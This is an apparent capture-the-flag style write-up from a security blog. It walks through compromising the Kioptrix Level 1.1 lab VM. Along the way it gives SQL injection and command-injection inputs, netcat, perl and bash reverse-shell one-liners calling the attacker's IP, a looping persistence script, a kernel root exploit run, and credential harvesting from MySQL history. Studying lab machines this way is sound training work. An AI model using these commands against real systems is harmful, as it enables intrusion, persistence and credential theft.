seekorswim My Security Blog

Kioptrix: Level 1.1 (#2)

VulnHub URL: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
Hostname:
IP Address: 10.183.0.238


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.238.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/kioptrix2# nmap -Pn -sT -sV --script=default,banner -A -oA kioptrix2 -p- 10.183.0.238
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 22:14 CDT
Nmap scan report for 10.183.0.238   
Host is up (0.0031s latency).
Not shown: 65528 closed ports
PORT     STATE SERVICE    VERSION   
22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
|_banner: SSH-1.99-OpenSSH_3.9p1
| ssh-hostkey:
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind    2 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            821/udp  status
|_  100024  1            824/tcp  status
443/tcp  open  ssl/https?
|_ssl-date: 2019-05-12T00:05:23+00:00; -3h09m46s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
631/tcp  open  ipp        CUPS 1.1  
| http-methods:
|_  Potentially risky methods: PUT  
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
824/tcp  open  status     1 (RPC #100024)
3306/tcp open  mysql      MySQL (unauthorized)
| banner: I\x00\x00\x00\xFFj\x04Host 'kali.homenet.dom' is not allowed to
|_ connect to this MySQL server
MAC Address: 00:0C:29:53:19:4C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.18
Network Distance: 1 hop

Host script results:
|_clock-skew: mean: -3h09m46s, deviation: 0s, median: -3h09m46s

TRACEROUTE
HOP RTT     ADDRESS
1   3.05 ms 10.183.0.238

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.97 seconds


Gaining Access


The following software was identified by the nmap scan:
  • OpenSSH 3.9p1 - buffer overflow issues
  • Apache/2.0.52 - known user disclosure and DoS issues
  • CUPS/1.1 - buffer overflow and DoS issues

OpenSSH issues...

OpenSSH 3.x - Challenge-Response Buffer Overflow (1)                                                         | exploits/unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2)                                                         | exploits/unix/remote/21579.txt

Reading through the write-ups for the OpenSSH issues, we see the vulnerabilities were fixed in version 3.4, so they won't be of any use to us.

CUPS issues...

CUPS 1.1.x - '.HPGL' File Processor Buffer Overflow                                                          | exploits/linux/remote/24977.txt

Reading through the write-up for the CUPS issue, we'd need to be able to print a file. The service shows to support the PUT method, but also returns a 403 Forbidden error, so we probably can't upload anything (I confirmed this).

Moving on to the HTTP service on TCP port 80...

The default site for the service contains a "Remote System Administration Login" login form. Checking for a possible SQL injection vulnerability, we are quickly able to "login" using the following string in the username field.

%' or 1=1 #



The next form we are presented with after logging in is a "ping" interface.



Trying the following input...

127.0.0.1; id;

We get this response (opened in a new window/tab).



So, we know we have a command execution vulnerability. Time to get our reverse shell.

First, I'll start two listeners in Metasploit. I like to start two listeners because reverse shells started through web requests typically timeout quickly. Once connected, I like to start a second reverse shell that is more stable.

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5433

I'll use netcat to start my first reverse shell from the "ping" interface. I'll use perl to start my second reverse shell from the first.

Netcat shell command...

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.183.0.222 5432 >/tmp/f

Perl shell command...

perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &

Unfortunately, my netcat command didn't work. Netcat might not be installed. I'll try again with a bash reverse shell...

bash -i >& /dev/tcp/10.183.0.222/5432 0>&1

Worked! I got my first session and set up my second session.

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.238:40009) at 2019-05-11 23:11:56 -0500

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

bash-3.00$ pwd
/var/www/html
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
[1] 3998
bash-3.00$ [*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.238:40010) at 2019-05-11 23:12:09 -0500

bash-3.00$ background

Background session 1? [y/N]  y
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ [*] 10.183.0.238 - Command shell session 2 closed.

Unfortunately, both closed when the web request timed out. 😞

I decided to create a simple shell script that will try to connect back to my attacking machine every 20 seconds and use python's SimpleHTTPServer to serve it up to the victim.

root@kali:~/Walkthroughs/kioptrix2# cat thumbs
#!/bin/sh
while true; do
    perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
    # sleep for 20 seconds
    sleep 20
done
root@kali:~/Walkthroughs/kioptrix2# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.238 - - [12/May/2019 09:37:19] "GET /thumbs HTTP/1.0" 200 -

I uploaded the script to the victim's /tmp directory and ran it in the background (and disowned it). Now, if I get disconnected, I should be able to restart a listener and get back in within 20 seconds.

bash-3.00$ cd /tmp
bash-3.00$ wget -O thumbs2 10.183.0.222:4321/thumbs
--07:27:34--  http://10.183.0.222:4321/thumbs
           => `thumbs'
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 298 [application/octet-stream]

    0K                                                       100%   25.84 MB/s

07:27:34 (25.84 MB/s) - `thumbs' saved [298/298]

bash-3.00$ chmod +x thumbs
bash-3.00$ ./thumbs &
[2] 14001


Maintaining Access


Our thumbs script should help us maintain access. Moving on...


Privilege Escalation


Checking the installed os and kernel...

bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
bash-3.00$ cat /etc/issue.net
CentOS release 4.5 (Final)

We have lots of possible exploits for this particular kernel, but there's one exploit that seems to match our running kernel and os pretty directly...

Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0  | exploits/linux_x86/local/9542.c

...so we'll try it out on our victim. We'll make a local copy in our working directory and then transfer it to the victim using python's SimpleHTTPServer.

root@kali:~/Walkthroughs/kioptrix2# cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c .
root@kali:~/Walkthroughs/kioptrix2# python -m SimpleHTTPServer 4321
Serving HTTP on 0.0.0.0 port 4321 ...
10.183.0.238 - - [12/May/2019 00:50:09] "GET /9542.c HTTP/1.0" 200 -

Then, on the victim...

bash-3.00$ wget -O 9542.c 10.183.0.222:4321/9542.c
--22:40:22--  http://10.183.0.222:4321/9542.c
           => `9542.c'
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,643 (2.6K) [text/plain]

    0K ..                                                    100%  315.07 MB/s

22:40:22 (315.07 MB/s) - `9542.c' saved [2643/2643]

bash-3.00$ gcc -o pwn 9542.c
9542.c:109:28: warning: no newline at end of file
bash-3.00$ ./pwn
sh: no job control in this shell
sh-3.00# id   
uid=0(root) gid=0(root) groups=48(apache)

We have root! 😄


Pivoting

N/A


Clean Up


*** REMOVE /tmp/9542.c ***
*** REMOVE /tmp/pwn ***


Additional Info


netcat

I was curious if netcat was available since our netcat command didn't work when trying to start a reverse shell from the "ping" web app. When checking if 'nc' was available, I noticed our PATH variable was pretty sparse. I decided to expand it to see if there were more programs available.

bash-3.00$ which nc
which: no nc in (/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin)
bash-3.00$ export PATH=$PATH:/home/seekorswim:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

After expanding PATH to include more common locations, we have netcat!

bash-3.00$ which nc
/usr/local/bin/nc


anaconda-ks.cfg

Checking on files in the /root directory, I noticed a kickstart setup file (anaconda-ks.cfg). Setup files can often contain passwords for user accounts that are going to be created (including root). Checking the file...

sh-3.00# cat anaconda-ks.cfg
# Kickstart file automatically generated by anaconda.

install  
cdrom
lang en_US.UTF-8
langsupport --default=en_US.UTF-8 en_US.UTF-8
keyboard us
xconfig --card "VMWare" --videoram 131072 --hsync 31.5-37.9 --vsync 50-70 --resolution 800x600 --depth 16
network --device eth0 --bootproto dhcp
rootpw --iscrypted $1$P6T9.F9L$xWdVUe236dzLXYsXK/IZ60
firewall --disabled
selinux --disabled
authconfig --enableshadow --enablemd5
timezone America/New_York
bootloader --location=mbr
# The following is the partition information you requested
# Note that any partitions you deleted are not expressed
# here so unless you clear all partitions first, this is
# not guaranteed to work
#clearpart --all --drives=hda
#part /boot --fstype ext3 --size=100 --ondisk=hda
#part pv.2 --size=0 --grow --ondisk=hda
#volgroup VolGroup00 --pesize=32768 pv.2
#logvol / --fstype ext3 --name=LogVol00 --vgname=VolGroup00 --size=1024 --grow
#logvol swap --fstype swap --name=LogVol01 --vgname=VolGroup00 --size=256 --grow --maxsize=512

%packages
@ mysql  
@ admin-tools
@ system-tools
@ dialup
@ ftp-server
@ web-server
@ server-cfg
@ development-tools
kernel-devel
e2fsprogs
kernel   
lvm2
grub

%post

We were not able to crack the hash using a simple john --single pass.


.mysql_history

Checking on files in the /root directory, we found a mysql history file with several usernames and passwords.

show databases;
create database webapp;
use webapp;
create table users(id INT,username varchar(100),password varchar(10));
show database;
select * from users;
show databases;
use webapp;
insert into users values(1,'admin','hello');
select * from users;
use mysql
show databases;
use mysql;
select * from users where user=john;
show tables;
select * from user where user=john;
select * from user where user='john';
select * from user;
create user 'john'@'localhost' identified by 'hiroshima';
create user 'webapp'@'localhost' identified by 'hiroshima';
create user 'webapp'@'localhost' IDENTIFIED BY 'hiroshima';
CREATE USER 'webapp'@'localhost' identified by 'hiroshima';
update user set password = password('hiroshima') where user = 'john';
use mysql;
show users;
select * from user;
create user 'john'@'localhost' identified by 'hiroshima';
version;
-v
;
help
flush privileges;
show databases;
use mysql;
grant select,insert,update,delete on *.* to 'john'@'localhost';
update user set password = password('hiroshima') where user = 'john';
flush priveleges;
use webapp;
show tables;
update user set password = password('Ha56!blaKAbl') where user = 'admin';
update username set password = password('Ha56!blaKAbl') where user = 'admin';
select * from users;
update username set password = password('Ha56!blaKAbl') where username = 'admin';
update users set password = password('Ha56!blaKAbl') where username = 'admin';
select * from users;
insert into users values(2,'john','66lajGGbla');
select * from users;

Connecting to the mysql service with user john and password hiroshima, we were able to dump the webapp users table.

bash-3.00# mysql -u john -p
Enter password: hiroshima

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 398 to server version: 4.1.22

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
show databases;
+----------+
| Database |
+----------+
| mysql    |
| test     |
| webapp   |
+----------+
3 rows in set (0.03 sec)

mysql> use webapp;
use webapp;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+------------------+
| Tables_in_webapp |
+------------------+
| users            |
+------------------+
1 row in set (0.00 sec)

mysql> select * from users;
select * from users;
+------+----------+------------+
| id   | username | password   |
+------+----------+------------+
|    1 | admin    | 5afac8d85f |
|    2 | john     | 66lajGGbla |
+------+----------+------------+
2 rows in set (0.00 sec)

I tried all these passwords on the SSH service (for root, john and harold), but none worked.


index.php

Looking for database credentials in the PHP page we were able to do the SQL injection attack on...

bash-3.00# cat index.php
<?php
        mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
        //print "Connected to MySQL<br />";
        mysql_select_db("webapp");

        if ($_POST['uname'] != ""){
                $username = $_POST['uname'];
                $password = $_POST['psw'];
                $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
                //print $query."
";
                $result = mysql_query($query);

                $row = mysql_fetch_array($result);
                //print "ID: ".$row['id']."<br />";
        }  

?>
[...snip...]

Nothing new here, but documented for posterity.